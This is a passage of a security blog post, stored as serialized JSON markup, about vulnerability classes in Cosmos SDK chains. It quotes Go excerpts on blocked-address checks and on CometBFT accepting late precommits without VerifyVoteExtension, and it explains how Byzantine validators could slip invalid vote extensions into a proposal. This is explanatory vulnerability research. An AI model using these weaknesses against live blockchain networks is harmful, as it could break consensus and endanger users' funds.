err",{"type":23,"tag":139,"props":80593,"children":80594},{"style":982},[80595],{"type":28,"value":985},{"type":23,"tag":139,"props":80597,"children":80598},{"style":294},[80599],{"type":28,"value":79160},{"type":23,"tag":139,"props":80601,"children":80602},{"style":259},[80603],{"type":28,"value":73},{"type":23,"tag":139,"props":80605,"children":80606},{"style":294},[80607],{"type":28,"value":80608},"bankKeeper",{"type":23,"tag":139,"props":80610,"children":80611},{"style":259},[80612],{"type":28,"value":73},{"type":23,"tag":139,"props":80614,"children":80615},{"style":245},[80616],{"type":28,"value":79547},{"type":23,"tag":139,"props":80618,"children":80619},{"style":259},[80620],{"type":28,"value":1443},{"type":23,"tag":139,"props":80622,"children":80623},{"class":141,"line":21933},[80624,80628],{"type":23,"tag":139,"props":80625,"children":80626},{"style":294},[80627],{"type":28,"value":24207},{"type":23,"tag":139,"props":80629,"children":80630},{"style":259},[80631],{"type":28,"value":1488},{"type":23,"tag":139,"props":80633,"children":80634},{"class":141,"line":21942},[80635,80640,80644,80649],{"type":23,"tag":139,"props":80636,"children":80637},{"style":294},[80638],{"type":28,"value":80639},"        types",{"type":23,"tag":139,"props":80641,"children":80642},{"style":259},[80643],{"type":28,"value":73},{"type":23,"tag":139,"props":80645,"children":80646},{"style":294},[80647],{"type":28,"value":80648},"ModuleName",{"type":23,"tag":139,"props":80650,"children":80651},{"style":259},[80652],{"type":28,"value":1488},{"type":23,"tag":139,"props":80654,"children":80655},{"class":141,"line":30168},[80656,80660],{"type":23,"tag":139,"props":80657,"children":80658},{"style":294},[80659],{"type":28,"value":80057},{"type":23,"tag":139,"props":80661,"children":80662},{"style":259},[80663],{"type":28,"value":1488},{"type":23,"tag":139,"props":80665,"children":80666},{"class":141,"line":30189},[80667,80672],{"type":23,"tag":139,"props":80668,"children":80669},{"style":294},[80670],{"type":28,"value":80671},"        coins",{"type":23,"tag":139,"props":80673,"children":80674},{"style":259},[80675],{"type":28,"value":1488},{"type":23,"tag":139,"props":80677,"children":80678},{"class":141,"line":78855},[80679],{"type":23,"tag":139,"props":80680,"children":80681},{"style":259},[80682],{"type":28,"value":21939},{"type":23,"tag":139,"props":80684,"children":80685},{"class":141,"line":78868},[80686,80690,80694,80698,80702],{"type":23,"tag":139,"props":80687,"children":80688},{"style":319},[80689],{"type":28,"value":10290},{"type":23,"tag":139,"props":80691,"children":80692},{"style":294},[80693],{"type":28,"value":46418},{"type":23,"tag":139,"props":80695,"children":80696},{"style":982},[80697],{"type":28,"value":62287},{"type":23,"tag":139,"props":80699,"children":80700},{"style":279},[80701],{"type":28,"value":79822},{"type":23,"tag":139,"props":80703,"children":80704},{"style":259},[80705],{"type":28,"value":1268},{"type":23,"tag":139,"props":80707,"children":80708},{"class":141,"line":78876},[80709,80713,80717,80721,80725,80729,80734,80738,80742],{"type":23,"tag":139,"props":80710,"children":80711},{"style":319},[80712],{"type":28,"value":13755},{"type":23,"tag":139,"props":80714,"children":80715},{"style":294},[80716],{"type":28,"value":80138},{"type":23,"tag":139,"props":80718,"children":80719},{"style":259},[80720],{"type":28,"value":73},{"type":23,"tag":139,"props":80722,"children":80723},{"style":245},[80724],{"type":28,"value":79855},{"type":23,"tag":139,"props":80726,"children":80727},{"style":259},[80728],{"type":28,"value":262},{"type":23,"tag":139,"props":80730,"children":80731},{"style":265},[80732],{"type":28,"value":80733},"\"failed to send coins: %w\"",{"type":23,"tag":139,"props":80735,"children":80736},{"style":259},[80737],{"type":28,"value":1052},{"type":23,"tag":139,"props":80739,"children":80740},{"style":294},[80741],{"type":28,"value":46317},{"type":23,"tag":139,"props":80743,"children":80744},{"style":259},[80745],{"type":28,"value":273},{"type":23,"tag":139,"props":80747,"children":80748},{"class":141,"line":78884},[80749],{"type":23,"tag":139,"props":80750,"children":80751},{"style":259},[80752],{"type":28,"value":1335},{"type":23,"tag":139,"props":80754,"children":80755},{"class":141,"line":78892},[80756],{"type":23,"tag":139,"props":80757,"children":80758},{"style":982},[80759],{"type":28,"value":18347},{"type":23,"tag":139,"props":80761,"children":80762},{"class":141,"line":78932},[80763],{"type":23,"tag":139,"props":80764,"children":80765},{"style":259},[80766],{"type":28,"value":1897},{"type":23,"tag":128,"props":80768,"children":80770},{"code":80769,"language":74068,"meta":7,"className":74069,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[80771],{"type":23,"tag":135,"props":80772,"children":80773},{"__ignoreMap":7},[80774,80806,80885,80900,80908,80939,80997,81004,81011],{"type":23,"tag":139,"props":80775,"children":80776},{"class":141,"line":142},[80777,80781,80785,80789,80794,80798,80802],{"type":23,"tag":139,"props":80778,"children":80779},{"style":279},[80780],{"type":28,"value":74204},{"type":23,"tag":139,"props":80782,"children":80783},{"style":259},[80784],{"type":28,"value":1042},{"type":23,"tag":139,"props":80786,"children":80787},{"style":294},[80788],{"type":28,"value":79032},{"type":23,"tag":139,"props":80790,"children":80791},{"style":305},[80792],{"type":28,"value":80793},"BaseKeeper",{"type":23,"tag":139,"props":80795,"children":80796},{"style":259},[80797],{"type":28,"value":1062},{"type":23,"tag":139,"props":80799,"children":80800},{"style":245},[80801],{"type":28,"value":79547},{"type":23,"tag":139,"props":80803,"children":80804},{"style":259},[80805],{"type":28,"value":1443},{"type":23,"tag":139,"props":80807,"children":80808},{"class":141,"line":151},[80809,80813,80817,80821,80825,80829,80834,80838,80842,80847,80851,80855,80859,80863,80868,80872,80876,80881],{"type":23,"tag":139,"props":80810,"children":80811},{"style":294},[80812],{"type":28,"value":23864},{"type":23,"tag":139,"props":80814,"children":80815},{"style":305},[80816],{"type":28,"value":74244},{"type":23,"tag":139,"props":80818,"children":80819},{"style":259},[80820],{"type":28,"value":73},{"type":23,"tag":139,"props":80822,"children":80823},{"style":305},[80824],{"type":28,"value":74253},{"type":23,"tag":139,"props":80826,"children":80827},{"style":259},[80828],{"type":28,"value":1052},{"type":23,"tag":139,"props":80830,"children":80831},{"style":294},[80832],{"type":28,"value":80833},"senderModule",{"type":23,"tag":139,"props":80835,"children":80836},{"style":305},[80837],{"type":28,"value":33919},{"type":23,"tag":139,"props":80839,"children":80840},{"style":259},[80841],{"type":28,"value":1052},{"type":23,"tag":139,"props":80843,"children":80844},{"style":294},[80845],{"type":28,"value":80846},"recipientAddr",{"type":23,"tag":139,"props":80848,"children":80849},{"style":305},[80850],{"type":28,"value":76545},{"type":23,"tag":139,"props":80852,"children":80853},{"style":259},[80854],{"type":28,"value":73},{"type":23,"tag":139,"props":80856,"children":80857},{"style":305},[80858],{"type":28,"value":80532},{"type":23,"tag":139,"props":80860,"children":80861},{"style":259},[80862],{"type":28,"value":1052},{"type":23,"tag":139,"props":80864,"children":80865},{"style":294},[80866],{"type":28,"value":80867},"amt",{"type":23,"tag":139,"props":80869,"children":80870},{"style":305},[80871],{"type":28,"value":76545},{"type":23,"tag":139,"props":80873,"children":80874},{"style":259},[80875],{"type":28,"value":73},{"type":23,"tag":139,"props":80877,"children":80878},{"style":305},[80879],{"type":28,"value":80880},"Coins",{"type":23,"tag":139,"props":80882,"children":80883},{"style":259},[80884],{"type":28,"value":1488},{"type":23,"tag":139,"props":80886,"children":80887},{"class":141,"line":160},[80888,80892,80896],{"type":23,"tag":139,"props":80889,"children":80890},{"style":259},[80891],{"type":28,"value":1062},{"type":23,"tag":139,"props":80893,"children":80894},{"style":305},[80895],{"type":28,"value":12875},{"type":23,"tag":139,"props":80897,"children":80898},{"style":259},[80899],{"type":28,"value":1268},{"type":23,"tag":139,"props":80901,"children":80902},{"class":141,"line":169},[80903],{"type":23,"tag":139,"props":80904,"children":80905},{"style":982},[80906],{"type":28,"value":80907}," ...\n",{"type":23,"tag":139,"props":80909,"children":80910},{"class":141,"line":178},[80911,80915,80919,80923,80927,80931,80935],{"type":23,"tag":139,"props":80912,"children":80913},{"style":319},[80914],{"type":28,"value":13799},{"type":23,"tag":139,"props":80916,"children":80917},{"style":294},[80918],{"type":28,"value":79160},{"type":23,"tag":139,"props":80920,"children":80921},{"style":259},[80922],{"type":28,"value":73},{"type":23,"tag":139,"props":80924,"children":80925},{"style":245},[80926],{"type":28,"value":79563},{"type":23,"tag":139,"props":80928,"children":80929},{"style":259},[80930],{"type":28,"value":262},{"type":23,"tag":139,"props":80932,"children":80933},{"style":294},[80934],{"type":28,"value":80846},{"type":23,"tag":139,"props":80936,"children":80937},{"style":259},[80938],{"type":28,"value":12815},{"type":23,"tag":139,"props":80940,"children":80941},{"class":141,"line":187},[80942,80946,80951,80955,80959,80963,80967,80971,80976,80980,80985,80989,80993],{"type":23,"tag":139,"props":80943,"children":80944},{"style":319},[80945],{"type":28,"value":37089},{"type":23,"tag":139,"props":80947,"children":80948},{"style":294},[80949],{"type":28,"value":80950}," errorsmod",{"type":23,"tag":139,"props":80952,"children":80953},{"style":259},[80954],{"type":28,"value":73},{"type":23,"tag":139,"props":80956,"children":80957},{"style":245},[80958],{"type":28,"value":78814},{"type":23,"tag":139,"props":80960,"children":80961},{"style":259},[80962],{"type":28,"value":262},{"type":23,"tag":139,"props":80964,"children":80965},{"style":294},[80966],{"type":28,"value":78476},{"type":23,"tag":139,"props":80968,"children":80969},{"style":259},[80970],{"type":28,"value":73},{"type":23,"tag":139,"props":80972,"children":80973},{"style":294},[80974],{"type":28,"value":80975},"ErrUnauthorized",{"type":23,"tag":139,"props":80977,"children":80978},{"style":259},[80979],{"type":28,"value":1052},{"type":23,"tag":139,"props":80981,"children":80982},{"style":265},[80983],{"type":28,"value":80984},"\"%s is not allowed to receive funds\"",{"type":23,"tag":139,"props":80986,"children":80987},{"style":259},[80988],{"type":28,"value":1052},{"type":23,"tag":139,"props":80990,"children":80991},{"style":294},[80992],{"type":28,"value":80846},{"type":23,"tag":139,"props":80994,"children":80995},{"style":259},[80996],{"type":28,"value":273},{"type":23,"tag":139,"props":80998,"children":80999},{"class":141,"line":196},[81000],{"type":23,"tag":139,"props":81001,"children":81002},{"style":259},[81003],{"type":28,"value":7604},{"type":23,"tag":139,"props":81005,"children":81006},{"class":141,"line":205},[81007],{"type":23,"tag":139,"props":81008,"children":81009},{"style":982},[81010],{"type":28,"value":80907},{"type":23,"tag":139,"props":81012,"children":81013},{"class":141,"line":214},[81014],{"type":23,"tag":139,"props":81015,"children":81016},{"style":259},[81017],{"type":28,"value":1897},{"type":23,"tag":24,"props":81019,"children":81020},{},[81021,81023,81030],{"type":28,"value":81022},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":64,"props":81024,"children":81027},{"href":81025,"rel":81026},"https://hackerone.com/reports/3018307",[68],[81028],{"type":28,"value":81029},"improper decimal handling in the group module",{"type":28,"value":73},{"type":23,"tag":41,"props":81032,"children":81034},{"id":81033},"same-same-but-different",[81035],{"type":28,"value":81036},"Same, Same... But Different",{"type":23,"tag":24,"props":81038,"children":81039},{},[81040,81042,81048,81049,81055,81056,81062,81063,81069],{"type":28,"value":81041},"Cosmos exposes several consensus-level interfaces, such as ",{"type":23,"tag":135,"props":81043,"children":81045},{"className":81044},[],[81046],{"type":28,"value":81047},"PrepareProposal",{"type":28,"value":1052},{"type":23,"tag":135,"props":81050,"children":81052},{"className":81051},[],[81053],{"type":28,"value":81054},"ProcessProposal",{"type":28,"value":1052},{"type":23,"tag":135,"props":81057,"children":81059},{"className":81058},[],[81060],{"type":28,"value":81061},"ExtendVote",{"type":28,"value":4490},{"type":23,"tag":135,"props":81064,"children":81066},{"className":81065},[],[81067],{"type":28,"value":81068},"VerifyVoteExtension",{"type":28,"value":81070},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":24,"props":81072,"children":81073},{},[81074],{"type":28,"value":81075},"Two of the best-known attack surfaces are",{"type":23,"tag":797,"props":81077,"children":81078},{},[81079,81108],{"type":23,"tag":801,"props":81080,"children":81081},{},[81082,81087,81088,81093,81095,81100,81101,81106],{"type":23,"tag":135,"props":81083,"children":81085},{"className":81084},[],[81086],{"type":28,"value":81047},{"type":28,"value":1042},{"type":23,"tag":135,"props":81089,"children":81091},{"className":81090},[],[81092],{"type":28,"value":81061},{"type":28,"value":81094},") outputs being rejected due to ",{"type":23,"tag":135,"props":81096,"children":81098},{"className":81097},[],[81099],{"type":28,"value":81054},{"type":28,"value":1042},{"type":23,"tag":135,"props":81102,"children":81104},{"className":81103},[],[81105],{"type":28,"value":81068},{"type":28,"value":81107},") over-validating, resulting in liveness failures.",{"type":23,"tag":801,"props":81109,"children":81110},{},[81111,81113,81118,81119,81124,81126,81131,81132,81137],{"type":28,"value":81112},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":135,"props":81114,"children":81116},{"className":81115},[],[81117],{"type":28,"value":81047},{"type":28,"value":1042},{"type":23,"tag":135,"props":81120,"children":81122},{"className":81121},[],[81123],{"type":28,"value":81061},{"type":28,"value":81125},") are accepted due to ",{"type":23,"tag":135,"props":81127,"children":81129},{"className":81128},[],[81130],{"type":28,"value":81054},{"type":28,"value":1042},{"type":23,"tag":135,"props":81133,"children":81135},{"className":81134},[],[81136],{"type":28,"value":81068},{"type":28,"value":81138},") under-validating.",{"type":23,"tag":24,"props":81140,"children":81141},{},[81142],{"type":28,"value":81143},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":24,"props":81145,"children":81146},{},[81147,81149,81155,81157,81162],{"type":28,"value":81148},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":135,"props":81150,"children":81152},{"className":81151},[],[81153],{"type":28,"value":81154},"VoteExtensions",{"type":28,"value":81156}," within ",{"type":23,"tag":135,"props":81158,"children":81160},{"className":81159},[],[81161],{"type":28,"value":81047},{"type":28,"value":81163},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":24,"props":81165,"children":81166},{},[81167,81169,81174,81176,81181],{"type":28,"value":81168},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":135,"props":81170,"children":81172},{"className":81171},[],[81173],{"type":28,"value":81061},{"type":28,"value":81175}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":135,"props":81177,"children":81179},{"className":81178},[],[81180],{"type":28,"value":81068},{"type":28,"value":81182},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":24,"props":81184,"children":81185},{},[81186,81188,81193],{"type":28,"value":81187},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":135,"props":81189,"children":81191},{"className":81190},[],[81192],{"type":28,"value":81068},{"type":28,"value":81194}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":24,"props":81196,"children":81197},{},[81198,81200,81205,81207,81213],{"type":28,"value":81199},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":135,"props":81201,"children":81203},{"className":81202},[],[81204],{"type":28,"value":81068},{"type":28,"value":81206},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":23,"tag":135,"props":81208,"children":81210},{"className":81209},[],[81211],{"type":28,"value":81212},"Proposal",{"type":28,"value":73},{"type":23,"tag":128,"props":81215,"children":81217},{"code":81216,"language":74068,"meta":7,"className":74069,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[81218],{"type":23,"tag":135,"props":81219,"children":81220},{"__ignoreMap":7},[81221,81333,81340,81347,81355,81363,81447,81454,81462,81516,81523,81544,81551,81623,81639,81646,81720,81776,81783,81845,81852,81859,81878,81885,81892,81899],{"type":23,"tag":139,"props":81222,"children":81223},{"class":141,"line":142},[81224,81228,81232,81237,81241,81246,81250,81255,81259,81264,81268,81272,81276,81281,81285,81290,81295,81299,81304,81308,81313,81317,81321,81325,81329],{"type":23,"tag":139,"props":81225,"children":81226},{"style":279},[81227],{"type":28,"value":74204},{"type":23,"tag":139,"props":81229,"children":81230},{"style":259},[81231],{"type":28,"value":1042},{"type":23,"tag":139,"props":81233,"children":81234},{"style":294},[81235],{"type":28,"value":81236},"cs ",{"type":23,"tag":139,"props":81238,"children":81239},{"style":982},[81240],{"type":28,"value":2573},{"type":23,"tag":139,"props":81242,"children":81243},{"style":305},[81244],{"type":28,"value":81245},"State",{"type":23,"tag":139,"props":81247,"children":81248},{"style":259},[81249],{"type":28,"value":1062},{"type":23,"tag":139,"props":81251,"children":81252},{"style":245},[81253],{"type":28,"value":81254},"addVote",{"type":23,"tag":139,"props":81256,"children":81257},{"style":259},[81258],{"type":28,"value":262},{"type":23,"tag":139,"props":81260,"children":81261},{"style":294},[81262],{"type":28,"value":81263},"vote",{"type":23,"tag":139,"props":81265,"children":81266},{"style":982},[81267],{"type":28,"value":7825},{"type":23,"tag":139,"props":81269,"children":81270},{"style":305},[81271],{"type":28,"value":3760},{"type":23,"tag":139,"props":81273,"children":81274},{"style":259},[81275],{"type":28,"value":73},{"type":23,"tag":139,"props":81277,"children":81278},{"style":305},[81279],{"type":28,"value":81280},"Vote",{"type":23,"tag":139,"props":81282,"children":81283},{"style":259},[81284],{"type":28,"value":1052},{"type":23,"tag":139,"props":81286,"children":81287},{"style":294},[81288],{"type":28,"value":81289},"peerID",{"type":23,"tag":139,"props":81291,"children":81292},{"style":305},[81293],{"type":28,"value":81294}," p2p",{"type":23,"tag":139,"props":81296,"children":81297},{"style":259},[81298],{"type":28,"value":73},{"type":23,"tag":139,"props":81300,"children":81301},{"style":305},[81302],{"type":28,"value":81303},"ID",{"type":23,"tag":139,"props":81305,"children":81306},{"style":259},[81307],{"type":28,"value":74286},{"type":23,"tag":139,"props":81309,"children":81310},{"style":294},[81311],{"type":28,"value":81312},"added",{"type":23,"tag":139,"props":81314,"children":81315},{"style":305},[81316],{"type":28,"value":10061},{"type":23,"tag":139,"props":81318,"children":81319},{"style":259},[81320],{"type":28,"value":1052},{"type":23,"tag":139,"props":81322,"children":81323},{"style":294},[81324],{"type":28,"value":46317},{"type":23,"tag":139,"props":81326,"children":81327},{"style":305},[81328],{"type":28,"value":12888},{"type":23,"tag":139,"props":81330,"children":81331},{"style":259},[81332],{"type":28,"value":12815},{"type":23,"tag":139,"props":81334,"children":81335},{"class":141,"line":151},[81336],{"type":23,"tag":139,"props":81337,"children":81338},{"style":982},[81339],{"type":28,"value":18347},{"type":23,"tag":139,"props":81341,"children":81342},{"class":141,"line":160},[81343],{"type":23,"tag":139,"props":81344,"children":81345},{"emptyLinePlaceholder":15},[81346],{"type":28,"value":184},{"type":23,"tag":139,"props":81348,"children":81349},{"class":141,"line":169},[81350],{"type":23,"tag":139,"props":81351,"children":81352},{"style":958},[81353],{"type":28,"value":81354},"    // A precommit for the previous height?\n",{"type":23,"tag":139,"props":81356,"children":81357},{"class":141,"line":178},[81358],{"type":23,"tag":139,"props":81359,"children":81360},{"style":958},[81361],{"type":28,"value":81362},"    // These come in while we wait timeoutCommit\n",{"type":23,"tag":139,"props":81364,"children":81365},{"class":141,"line":187},[81366,81370,81375,81379,81384,81388,81392,81396,81401,81405,81409,81413,81417,81421,81426,81430,81434,81438,81443],{"type":23,"tag":139,"props":81367,"children":81368},{"style":319},[81369],{"type":28,"value":10290},{"type":23,"tag":139,"props":81371,"children":81372},{"style":294},[81373],{"type":28,"value":81374}," vote",{"type":23,"tag":139,"props":81376,"children":81377},{"style":259},[81378],{"type":28,"value":73},{"type":23,"tag":139,"props":81380,"children":81381},{"style":294},[81382],{"type":28,"value":81383},"Height",{"type":23,"tag":139,"props":81385,"children":81386},{"style":982},[81387],{"type":28,"value":2382},{"type":23,"tag":139,"props":81389,"children":81390},{"style":1016},[81391],{"type":28,"value":647},{"type":23,"tag":139,"props":81393,"children":81394},{"style":982},[81395],{"type":28,"value":1259},{"type":23,"tag":139,"props":81397,"children":81398},{"style":294},[81399],{"type":28,"value":81400}," cs",{"type":23,"tag":139,"props":81402,"children":81403},{"style":259},[81404],{"type":28,"value":73},{"type":23,"tag":139,"props":81406,"children":81407},{"style":294},[81408],{"type":28,"value":81383},{"type":23,"tag":139,"props":81410,"children":81411},{"style":982},[81412],{"type":28,"value":12196},{"type":23,"tag":139,"props":81414,"children":81415},{"style":294},[81416],{"type":28,"value":81374},{"type":23,"tag":139,"props":81418,"children":81419},{"style":259},[81420],{"type":28,"value":73},{"type":23,"tag":139,"props":81422,"children":81423},{"style":294},[81424],{"type":28,"value":81425},"Type",{"type":23,"tag":139,"props":81427,"children":81428},{"style":982},[81429],{"type":28,"value":1259},{"type":23,"tag":139,"props":81431,"children":81432},{"style":294},[81433],{"type":28,"value":76079},{"type":23,"tag":139,"props":81435,"children":81436},{"style":259},[81437],{"type":28,"value":73},{"type":23,"tag":139,"props":81439,"children":81440},{"style":294},[81441],{"type":28,"value":81442},"PrecommitType",{"type":23,"tag":139,"props":81444,"children":81445},{"style":259},[81446],{"type":28,"value":1268},{"type":23,"tag":139,"props":81448,"children":81449},{"class":141,"line":196},[81450],{"type":23,"tag":139,"props":81451,"children":81452},{"style":982},[81453],{"type":28,"value":79746},{"type":23,"tag":139,"props":81455,"children":81456},{"class":141,"line":205},[81457],{"type":23,"tag":139,"props":81458,"children":81459},{"style":958},[81460],{"type":28,"value":81461},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":23,"tag":139,"props":81463,"children":81464},{"class":141,"line":214},[81465,81470,81474,81478,81482,81486,81490,81495,81499,81504,81508,81512],{"type":23,"tag":139,"props":81466,"children":81467},{"style":294},[81468],{"type":28,"value":81469},"        added",{"type":23,"tag":139,"props":81471,"children":81472},{"style":259},[81473],{"type":28,"value":1052},{"type":23,"tag":139,"props":81475,"children":81476},{"style":294},[81477],{"type":28,"value":46317},{"type":23,"tag":139,"props":81479,"children":81480},{"style":982},[81481],{"type":28,"value":985},{"type":23,"tag":139,"props":81483,"children":81484},{"style":294},[81485],{"type":28,"value":81400},{"type":23,"tag":139,"props":81487,"children":81488},{"style":259},[81489],{"type":28,"value":73},{"type":23,"tag":139,"props":81491,"children":81492},{"style":294},[81493],{"type":28,"value":81494},"LastCommit",{"type":23,"tag":139,"props":81496,"children":81497},{"style":259},[81498],{"type":28,"value":73},{"type":23,"tag":139,"props":81500,"children":81501},{"style":245},[81502],{"type":28,"value":81503},"AddVote",{"type":23,"tag":139,"props":81505,"children":81506},{"style":259},[81507],{"type":28,"value":262},{"type":23,"tag":139,"props":81509,"children":81510},{"style":294},[81511],{"type":28,"value":81263},{"type":23,"tag":139,"props":81513,"children":81514},{"style":259},[81515],{"type":28,"value":273},{"type":23,"tag":139,"props":81517,"children":81518},{"class":141,"line":1320},[81519],{"type":23,"tag":139,"props":81520,"children":81521},{"style":982},[81522],{"type":28,"value":79746},{"type":23,"tag":139,"props":81524,"children":81525},{"class":141,"line":1329},[81526,81530,81535,81539],{"type":23,"tag":139,"props":81527,"children":81528},{"style":319},[81529],{"type":28,"value":13755},{"type":23,"tag":139,"props":81531,"children":81532},{"style":294},[81533],{"type":28,"value":81534}," added",{"type":23,"tag":139,"props":81536,"children":81537},{"style":259},[81538],{"type":28,"value":1052},{"type":23,"tag":139,"props":81540,"children":81541},{"style":294},[81542],{"type":28,"value":81543},"err\n",{"type":23,"tag":139,"props":81545,"children":81546},{"class":141,"line":1580},[81547],{"type":23,"tag":139,"props":81548,"children":81549},{"style":259},[81550],{"type":28,"value":1335},{"type":23,"tag":139,"props":81552,"children":81553},{"class":141,"line":1597},[81554,81559,81563,81567,81571,81576,81580,81585,81589,81594,81598,81603,81607,81611,81615,81619],{"type":23,"tag":139,"props":81555,"children":81556},{"style":294},[81557],{"type":28,"value":81558},"    extEnabled",{"type":23,"tag":139,"props":81560,"children":81561},{"style":982},[81562],{"type":28,"value":74320},{"type":23,"tag":139,"props":81564,"children":81565},{"style":294},[81566],{"type":28,"value":81400},{"type":23,"tag":139,"props":81568,"children":81569},{"style":259},[81570],{"type":28,"value":73},{"type":23,"tag":139,"props":81572,"children":81573},{"style":294},[81574],{"type":28,"value":81575},"state",{"type":23,"tag":139,"props":81577,"children":81578},{"style":259},[81579],{"type":28,"value":73},{"type":23,"tag":139,"props":81581,"children":81582},{"style":294},[81583],{"type":28,"value":81584},"ConsensusParams",{"type":23,"tag":139,"props":81586,"children":81587},{"style":259},[81588],{"type":28,"value":73},{"type":23,"tag":139,"props":81590,"children":81591},{"style":294},[81592],{"type":28,"value":81593},"Feature",{"type":23,"tag":139,"props":81595,"children":81596},{"style":259},[81597],{"type":28,"value":73},{"type":23,"tag":139,"props":81599,"children":81600},{"style":245},[81601],{"type":28,"value":81602},"VoteExtensionsEnabled",{"type":23,"tag":139,"props":81604,"children":81605},{"style":259},[81606],{"type":28,"value":262},{"type":23,"tag":139,"props":81608,"children":81609},{"style":294},[81610],{"type":28,"value":81263},{"type":23,"tag":139,"props":81612,"children":81613},{"style":259},[81614],{"type":28,"value":73},{"type":23,"tag":139,"props":81616,"children":81617},{"style":294},[81618],{"type":28,"value":81383},{"type":23,"tag":139,"props":81620,"children":81621},{"style":259},[81622],{"type":28,"value":273},{"type":23,"tag":139,"props":81624,"children":81625},{"class":141,"line":1614},[81626,81630,81635],{"type":23,"tag":139,"props":81627,"children":81628},{"style":319},[81629],{"type":28,"value":10290},{"type":23,"tag":139,"props":81631,"children":81632},{"style":294},[81633],{"type":28,"value":81634}," extEnabled",{"type":23,"tag":139,"props":81636,"children":81637},{"style":259},[81638],{"type":28,"value":1268},{"type":23,"tag":139,"props":81640,"children":81641},{"class":141,"line":1627},[81642],{"type":23,"tag":139,"props":81643,"children":81644},{"style":982},[81645],{"type":28,"value":79746},{"type":23,"tag":139,"props":81647,"children":81648},{"class":141,"line":1636},[81649,81653,81657,81661,81665,81669,81673,81677,81681,81685,81689,81693,81697,81702,81706,81711,81715],{"type":23,"tag":139,"props":81650,"children":81651},{"style":319},[81652],{"type":28,"value":1249},{"type":23,"tag":139,"props":81654,"children":81655},{"style":294},[81656],{"type":28,"value":81374},{"type":23,"tag":139,"props":81658,"children":81659},{"style":259},[81660],{"type":28,"value":73},{"type":23,"tag":139,"props":81662,"children":81663},{"style":294},[81664],{"type":28,"value":81425},{"type":23,"tag":139,"props":81666,"children":81667},{"style":982},[81668],{"type":28,"value":1259},{"type":23,"tag":139,"props":81670,"children":81671},{"style":294},[81672],{"type":28,"value":76079},{"type":23,"tag":139,"props":81674,"children":81675},{"style":259},[81676],{"type":28,"value":73},{"type":23,"tag":139,"props":81678,"children":81679},{"style":294},[81680],{"type":28,"value":81442},{"type":23,"tag":139,"props":81682,"children":81683},{"style":982},[81684],{"type":28,"value":12196},{"type":23,"tag":139,"props":81686,"children":81687},{"style":982},[81688],{"type":28,"value":10875},{"type":23,"tag":139,"props":81690,"children":81691},{"style":294},[81692],{"type":28,"value":81263},{"type":23,"tag":139,"props":81694,"children":81695},{"style":259},[81696],{"type":28,"value":73},{"type":23,"tag":139,"props":81698,"children":81699},{"style":294},[81700],{"type":28,"value":81701},"BlockID",{"type":23,"tag":139,"props":81703,"children":81704},{"style":259},[81705],{"type":28,"value":73},{"type":23,"tag":139,"props":81707,"children":81708},{"style":245},[81709],{"type":28,"value":81710},"IsNil",{"type":23,"tag":139,"props":81712,"children":81713},{"style":259},[81714],{"type":28,"value":12054},{"type":23,"tag":139,"props":81716,"children":81717},{"style":982},[81718],{"type":28,"value":81719},"&&\n",{"type":23,"tag":139,"props":81721,"children":81722},{"class":141,"line":1659},[81723,81728,81733,81737,81741,81745,81749,81753,81758,81762,81767,81771],{"type":23,"tag":139,"props":81724,"children":81725},{"style":982},[81726],{"type":28,"value":81727},"            !",{"type":23,"tag":139,"props":81729,"children":81730},{"style":294},[81731],{"type":28,"value":81732},"bytes",{"type":23,"tag":139,"props":81734,"children":81735},{"style":259},[81736],{"type":28,"value":73},{"type":23,"tag":139,"props":81738,"children":81739},{"style":245},[81740],{"type":28,"value":80202},{"type":23,"tag":139,"props":81742,"children":81743},{"style":259},[81744],{"type":28,"value":262},{"type":23,"tag":139,"props":81746,"children":81747},{"style":294},[81748],{"type":28,"value":81263},{"type":23,"tag":139,"props":81750,"children":81751},{"style":259},[81752],{"type":28,"value":73},{"type":23,"tag":139,"props":81754,"children":81755},{"style":294},[81756],{"type":28,"value":81757},"ValidatorAddress",{"type":23,"tag":139,"props":81759,"children":81760},{"style":259},[81761],{"type":28,"value":1052},{"type":23,"tag":139,"props":81763,"children":81764},{"style":294},[81765],{"type":28,"value":81766},"myAddr",{"type":23,"tag":139,"props":81768,"children":81769},{"style":259},[81770],{"type":28,"value":22009},{"type":23,"tag":139,"props":81772,